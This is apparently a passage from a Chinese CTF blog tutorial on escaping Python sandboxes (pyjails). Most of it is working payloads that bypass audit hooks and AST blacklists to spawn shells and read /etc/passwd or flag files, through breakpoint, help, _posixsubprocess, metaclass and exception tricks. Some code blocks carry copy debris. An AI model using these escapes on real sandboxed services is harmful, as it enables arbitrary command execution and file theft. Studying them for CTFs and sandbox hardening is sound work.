sys.stdin.readline()

>>> eval(sys.stdin.readline())
__import__('os').system('whoami')

sys.stdin.readlines()

>>> eval(sys.stdin.readlines()[0])
__import__('os').system('whoami')

在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。

breakpoint 函数

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

>>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
> <stdin>(1)<module>()->None
(Pdb) __import__('os').system('ls')
a-z0-9.py  exp2.py  exp.py  flag.txt
0
(Pdb) __import__('os').system('sh')
$ ls
a-z0-9.py  exp2.py  exp.py  flag.txt

换一种方式,先用step进入模块,可以使用list查看当前代码块,发现输入的内容被input_data变量接收

img

这个时候我们就可以把变量input_data的值重新赋值,之前是breakpoint()函数。

img

help 函数

help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh

当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助(不编码也能打开)

𝘩𝘦𝘭𝘱() 

然后输入 os,此时会进入 os 的帮助文档。

help> os 

image-20230822174539087

然后再输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash

help> os
$ ls
a-z0-9.py  exp2.py  exp.py  flag.txt

此外也可以 查看sys模块,信息收集了解到当查看的模块的内容过多时,会使用more命令翻页查看内容,造成溢出执行命令

img

img

同时,使用__main__可以查看当前模块的信息,包括全局变量

img

得到key

字符串叠加

参考[CISCN 2023 初赛]pyshell,通过_不断的进行字符串的叠加,再利用eval()进行一些命令的执行。

我们想执行的代码:__import__("os").popen("tac flag").read()

'__import__'
_+'("os").p'
_+'open("ta'
_+'c flag")'
_+'.read()'

变量覆盖与函数篡改

在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.

sys.modules 存放了现有模块的引用, 通过访问 sys.modules['__main__'] 就可以访问当前模块定义的所有函数以及全局变量

>>> aaa = 'bbb'
>>> def my_input():
...     dict_global = dict()
...     while True:
...       try:
...           input_data = input("> ")
...       except EOFError:
...           print()
...           break
...       except KeyboardInterrupt:
...           print('bye~~')
...           continue
...       if input_data == '':
...           continue
...       try:
...           complie_code = compile(input_data, '<string>', 'single')
...       except SyntaxError as err:
...           print(err)
...           continue
...       try:
...           exec(complie_code, dict_global)
...       except Exception as err:
...           print(err)
... 
>>> import sys
>>> sys.modules['__main__']
<module '__main__' (built-in)>
>>> dir(sys.modules['__main__'])
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'aaa', 'my_input', 'sys']
>>> sys.modules['__main__'].aaa
'bbb'

除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__篡改内置函数等,这只是一个思路.

总体来说,只要获取了某个函数或者变量就可以篡改, 难点就在于获取.

利用 gc 获取已删除模块

这个思路来源于 writeup by fab1ano – github

这道题的目标是覆盖 __main__ 中的 __exit 函数,但是题目将 sys.modules['__main__'] 删除了,无法直接获取.

for module in set(sys.modules.keys()):
    if module in sys.modules:
        del sys.modules[module]

gc 是Python的内置模块,全名为”garbage collector”,中文译为”垃圾回收”。gc 模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。

Python 使用了引用计数作为其主要的内存管理机制,同时也引入了循环垃圾回收器来检测并收集循环引用的对象。gc 模块提供了一些函数,让你可以直接控制这个循环垃圾回收器。

下面是一些 gc 模块中的主要函数:

  1. gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过 generation 参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。
  2. gc.get_objects():这个函数会返回当前被管理的所有对象的列表。
  3. gc.get_referrers(*objs):这个函数会返回指向 objs 中任何一个对象的对象列表。

exp 如下

for obj in gc.get_objects():
    if '__name__' in dir(obj):
        if '__main__' in obj.__name__:
            print('Found module __main__')
            mod_main = obj
        if 'os' == obj.__name__:
            print('Found module os')
            mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")

在 3.11 版本和 python 3.8.10 版本中测试发现会触发 gc.get_objects hook 导致无法成功.

利用 traceback 获取模块

这个思路来源于 writeup by hstocks – github

主动抛出异常, 并获取其后要执行的代码, 然后将__exit 进行替换, 思路也是十分巧妙.

try:
    raise Exception()
except Exception as e:
    _, _, tb = sys.exc_info()
    nxt_frame = tb.tb_frame

    # Walk up stack frames until we find one which
    # has a reference to the audit function
    while nxt_frame:
        if 'audit' in nxt_frame.f_globals:
            break
        nxt_frame = nxt_frame.f_back

    # Neuter the __exit function
    nxt_frame.f_globals['__exit'] = print

    # Now we're free to call whatever we want
    os.system('cat /flag*')

但是实际测试时使用 python 3.11 发现 nxt_frame = tb.tb_frame 会触发 object.__getattr__ hook. 不同的版本中触发 hook 的地方会有差异,这个 payload 可能仅在 python 3.9 (题目版本)中适用


绕过 audit hook

Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同,且可能会随着 Python 解释器的更新而变动。

Python 中的审计事件包括但不限于以下几类:

  • import:发生在导入模块时。
  • open:发生在打开文件时。
  • write:发生在写入文件时。
  • exec:发生在执行Python代码时。
  • compile:发生在编译Python代码时。
  • socket:发生在创建或使用网络套接字时。
  • os.systemos.popen等:发生在执行操作系统命令时。
  • subprocess.Popensubprocess.run等:发生在启动子进程时。

PEP 578 – Python Runtime Audit Hooks

calc_jail_beginner_level6 这道题中使用了 audithook 构建沙箱,采用白名单来进行限制.audit hook 属于 python 底层的实现,因此常规的变换根本无法绕过.

题目源码如下:

import sys

def my_audit_hook(my_event, _):
    WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
    if my_event not in WHITED_EVENTS:
        raise RuntimeError('Operation not permitted: {}'.format(my_event))

def my_input():
    dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)


def main():
  WELCOME = '''
  _                _                           _       _ _   _                _   __
 | |              (_)                         (_)     (_) | | |              | | / /
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
              __/ |                          _/ |
             |___/                          |__/                                                                        
  '''

  CODE = '''
  dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)
  '''

  print(WELCOME)

  print("Welcome to the python jail")
  print("Let's have an beginner jail of calc")
  print("Enter your expression and I will evaluate it for you.")
  print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
  print("Some code of python jail:")
  print(CODE)
  my_input()

if __name__ == "__main__":
  sys.addaudithook(my_audit_hook)
  main()

这道题需要绕过的点有两个:

  1. 绕过 import 导入模块. 如果直接使用 import,就会触发 audithook

    > __import__('ctypes')
     Operation not permitted: import
    
  2. 绕过常规的命令执行方法执行命令. 利用 os, subproccess 等模块执行命令时也会触发 audithook

调试技巧

本地调试时可以在 hook 函数中添加打印出 hook 的类型.

def my_audit_hook(my_event, _):
    print(f'[+] {my_event}, {_}')
    WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
    if my_event not in WHITED_EVENTS:
        raise RuntimeError('Operation not permitted: {}'.format(my_event))

这样在测试 payload 时就可以知道触发了哪些 hook

> import os
[+] builtins.input/result, ('import os',)
[+] compile, (b'import os', '<string>')
[+] exec, (<code object <module> at 0x7f966795bec0, file "<string>", line 1>,)

__loader__.load_module 导入模块

__loader__.load_module(fullname) 也是 python 中用于导入模块的一个方法并且不需要导入其他任何库.

 __loader__.load_module('os') 

__loader__ 实际上指向的是 _frozen_importlib.BuiltinImporter 类,也可以通过别的方式进行获取

>>> ().__class__.__base__.__subclasses__()[84]
<class '_frozen_importlib.BuiltinImporter'>
>>> __loader__
<class '_frozen_importlib.BuiltinImporter'>
>>> ().__class__.__base__.__subclasses__()[84].__name__
'BuiltinImporter'
>>> [x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0]
<class '_frozen_importlib.BuiltinImporter'>

__loader__.load_module 也有一个缺点就是无法导入非内建模块. 例如 socket

>>> __loader__.load_module('socket')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<frozen importlib._bootstrap>", line 290, in _load_module_shim
  File "<frozen importlib._bootstrap>", line 721, in _load
  File "<frozen importlib._bootstrap>", line 676, in _load_unlocked
  File "<frozen importlib._bootstrap>", line 573, in module_from_spec
  File "<frozen importlib._bootstrap>", line 776, in create_module
ImportError: 'socket' is not a built-in module

_posixsubprocess 执行命令

_posixsubprocess 模块是 Python 的内部模块,提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了 _posixsubprocess.

该模块的核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.

在我本地的 Python 3.11 中具体的函数声明如下:

def fork_exec(
    __process_args: Sequence[StrOrBytesPath] | None,
    __executable_list: Sequence[bytes],
    __close_fds: bool,
    __fds_to_keep: tuple[int, ...],
    __cwd_obj: str,
    __env_list: Sequence[bytes] | None,
    __p2cread: int,
    __p2cwrite: int,
    __c2pred: int,
    __c2pwrite: int,
    __errread: int,
    __errwrite: int,
    __errpipe_read: int,
    __errpipe_write: int,
    __restore_signals: int,
    __call_setsid: int,
    __pgid_to_set: int,
    __gid_object: SupportsIndex | None,
    __groups_list: list[int] | None,
    __uid_object: SupportsIndex | None,
    __child_umask: int,
    __preexec_fn: Callable[[], None],
    __allow_vfork: bool,
) -> int: ...
  • __process_args: 传递给新进程的命令行参数,通常为程序路径及其参数的列表。
  • __executable_list: 可执行程序路径的列表。
  • __close_fds: 如果设置为True,则在新进程中关闭所有的文件描述符。
  • __fds_to_keep: 一个元组,表示在新进程中需要保持打开的文件描述符的列表。
  • __cwd_obj: 新进程的工作目录。
  • __env_list: 环境变量列表,它是键和值的序列,例如:[“PATH=/usr/bin”, “HOME=/home/user”]。
  • __p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite: 这些是文件描述符,用于在父子进程间进行通信。
  • __errpipe_read, __errpipe_write: 这两个文件描述符用于父子进程间的错误通信。
  • __restore_signals: 如果设置为1,则在新创建的子进程中恢复默认的信号处理。
  • __call_setsid: 如果设置为1,则在新进程中创建新的会话。
  • __pgid_to_set: 设置新进程的进程组 ID。
  • __gid_object, __groups_list, __uid_object: 这些参数用于设置新进程的用户ID 和组 ID。
  • __child_umask: 设置新进程的 umask。
  • __preexec_fn: 在新进程中执行的函数,它会在新进程的主体部分执行之前调用。
  • __allow_vfork: 如果设置为True,则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork,但是使用 vfork 可能会有一些问题 。

下面是一个最小化示例:

import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)xxxxxxxxxx import osimport _posixsubprocess_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)1 2 3 4 import os import _posixsubprocess _posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False) 

结合上面的 __loader__.load_module(fullname) 可以得到最终的 payload:

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

可以看到全程触发了 builtins.input/result, compile, exec 三个 hook, 这些 hook 的触发都是因为 input, compile, exec 函数而触发的, __loader__.load_module_posixsubprocess 都没有触发.

[+] builtins.input/result, ('__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)',)
[+] compile, (b'__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)', '<string>')
[+] exec, (<code object <module> at 0x7fbecc924670, file "<string>", line 1>,)

另一种解法: 篡改内置函数

这道 audit hook 题还有另外一种解法.可以看到白名单是通过 set 函数返回的, set 作为一个内置函数实际上也是可以修改的

WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'}) 

比如我们将 set 函数修改为固定返回一个包含了 os.system 函数的列表

__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system'] 

这样 set 函数会固定返回带有 os.system 的列表.

__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system'] 

最终 payload:

# 
exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)")

# 篡改函数
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag2.txt')")

其他不触发 hook 的方式

使用 __loader__.load_module('os') 是为了获取 os 模块, 其实在 no builtins 利用手法中, 无需导入也可以获取对应模块. 例如:

# 获取 sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"]

# 获取 os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"]

# 其他的 payload 也都不会触发
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

绕过 AST 沙箱

AST 沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了,一般情况下考虑绕过 AST 黑名单. 例如下面的沙箱禁止了 ast.Import|ast.ImportFrom|ast.Call 这三类操作, 这样一来就无法导入模块和执行函数.

import ast
import sys
import os

def verify_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call):
        print(f"ERROR: Banned statement {x}")
        return False
  return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
  line = sys.stdin.readline()
  if line.startswith("--END"):
    break
  source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree):  # Safe to execute!
  print("-- Executing safe code:")
  compiled = compile(source_code, "input.py", 'exec')
  exec(compiled)

下面的几种利用方式来源于 hacktricks

without call

如果基于 AST 的沙箱限制了执行函数,那么就需要找到一种不需要执行函数的方式执行系统命令.

装饰器

利用 payload 如下:

@exec
@input
class X:
    pass

当我们输入上述的代码后, Python 会打开输入,此时我们再输入 payload 就可以成功执行命令.

>>> @exec
... @input
... class X:
...     pass
... 
<class '__main__.X'>__import__("os").system("ls")

由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单, 最终传入的 payload 是由 input 接收的, 因此也不会被拦截.

其实这样的话,构造其实可以有很多,比如直接打开 help 函数.

@help
class X:
    pass

这样可以直接进入帮助文档:

Help on class X in module __main__:

class X(builtins.object)
 |  Data descriptors defined here:
 |  
 |  __dict__
 |      dictionary for instance variables (if defined)
 |  
 |  __weakref__
 |      list of weak references to the object (if defined)
(END)xxxxxxxxxx Help on class X in module __main__:class X(builtins.object) |  Data descriptors defined here: |   |  __dict__ |      dictionary for instance variables (if defined) |   |  __weakref__ |      list of weak references to the object (if defined)(END)1 2 3 4 5 6 7 8 9 10 11 Help on class X in module __main__: class X(builtins.object) |  Data descriptors defined here: |   |  __dict__ |      dictionary for instance variables (if defined) |   |  __weakref__ |      list of weak references to the object (if defined) (END) 

再次输入 !sh 即可打开 /bin/sh

函数覆盖

我们知道在 Python 中获取一个的属性例如 obj[argument] 实际上是调用的 obj.__getitem__ 方法.因此我们只需要覆盖其 __getitem__ 方法, 即可在使用 obj[argument] 执行代码:

>>> class A:
...     __getitem__ = exec
... 
>>> A()['__import__("os").system("ls")']

但是这里调用了 A 的构造函数, 因此 AST 中还是会出现 ast.Call。

如何在不执行构造函数的情况下获取类实例呢?

metaclass 利用

Python 中提供了一种元类(metaclass)概念。元类是创建类的“类”。在 Python中,类本身也是对象,元类就是创建这些类(即类的对象)的类。

元类在 Python 中的作用主要是用来创建类。类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性,就像类定义了对象的行为和属性一样。

下面是基于元类的 payload, 在不使用构造函数的情况下触发

class Metaclass(type):
    __getitem__ = exec 
    
class Sub(metaclass=Metaclass):
    pass

Sub['import os; os.system("sh")']

除了 __getitem__ 之外其他方法的利用方式如下:

__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

示例:

class Metaclass(type):
    __sub__ = exec
    
class Sub(metaclass=Metaclass):
    pass

Sub-'import os; os.system("sh")'

exceptions 利用

利用 exceptions 的目的也是为了绕过显示地实例化一个类, 如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化. payload 如下:

class RCE(Exception):
    def __init__(self):
        self += 'import os; os.system("sh")'
    __iadd__ = exec 
    
raise RCE 

raise 会进入 RCE 的 __init__, 然后触发 __iadd__ 也就是 exec.

当然, 触发异常不一定需要 raise, 主动地编写错误代码也可以触发,与是就有了如下的几种 payload.

class X:
    def __init__(self, a, b, c):
        self += "os.system('sh')"
    __iadd__ = exec
sys.excepthook = X
1/0

这个 payload 中直接将 sys.excepthook 进行覆盖,任何异常产生时都会触发.

class X():
  def __init__(self, a, b, c, d, e):
    self += "print(open('flag').read())"
  __iadd__ = eval
__builtins__.__import__ = X
{}[1337]

这个 payload 将 __import__ 函数进行覆盖, 最后的 {}[1337] 在正常情况下会引发 KeyError 异常,因为 Python 在引发异常时会尝试导入某些模块(比如traceback 模块),导入时就会触发 __import__.

通过 license 函数读取文件

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

上面的 payload 修改内建函数 license 的文件名列表为 /etc/passwd 当调用 license() 时会打印这个文件的内容.

>>> __builtins__.__dict__["license"]._Printer__filenames
['/usr/lib/python3.11/../LICENSE.txt', '/usr/lib/python3.11/../LICENSE', '/usr/lib/python3.11/LICENSE.txt', '/usr/lib/python3.11/LICENSE', './LICENSE.txt', './LICENSE']

payload 中将 help 类的 __enter__ 方法覆盖为 license 方法, 而 with 语句在创建上下文时会调用 help 的__enter__, 从而执行 license 方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的. 例如:

class MyContext:
    pass
    
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = MyContext()
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

其他绕过技巧

模拟 no builitins 环境

no builtins 环境和 python 交互式解析器还是有所差异, 但交互式解析器并没有提供指定命名空间的功能,因此可以自己编写一个脚本进行模拟:

def repl():
    global_namespace = {}
    local_namespace = {}

    while True:
        try:
            code = input('>>> ')
            try:
                # Try to eval the code first.
                result = eval(code, global_namespace, local_namespace)
            except SyntaxError:
                # If a SyntaxError occurs, this might be because the user entered a statement,
                # in which case we should use exec.
                exec(code, global_namespace, local_namespace)
            else:
                print(result)
        except EOFError:
            break
        except Exception as e:
            print(f"Error: {e}")

if __name__ == "__main__":
    repl() 

参考文章:

萌新入门手册:如何使用 nc/ncat? - LUG @ USTC

Bypass Python sandboxes - HackTricks

Escape from python-jail | Room of Requirement | pwn what you want (siriuswhiter.github.io)

CTF Pyjail 沙箱逃逸绕过合集 | DummyKitty’s blog

[PyJail] python沙箱逃逸探究·中(HNCTF题解 - WEEK2) - 知乎 (zhihu.com)

python jail总结 – Aiwin-Blog

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值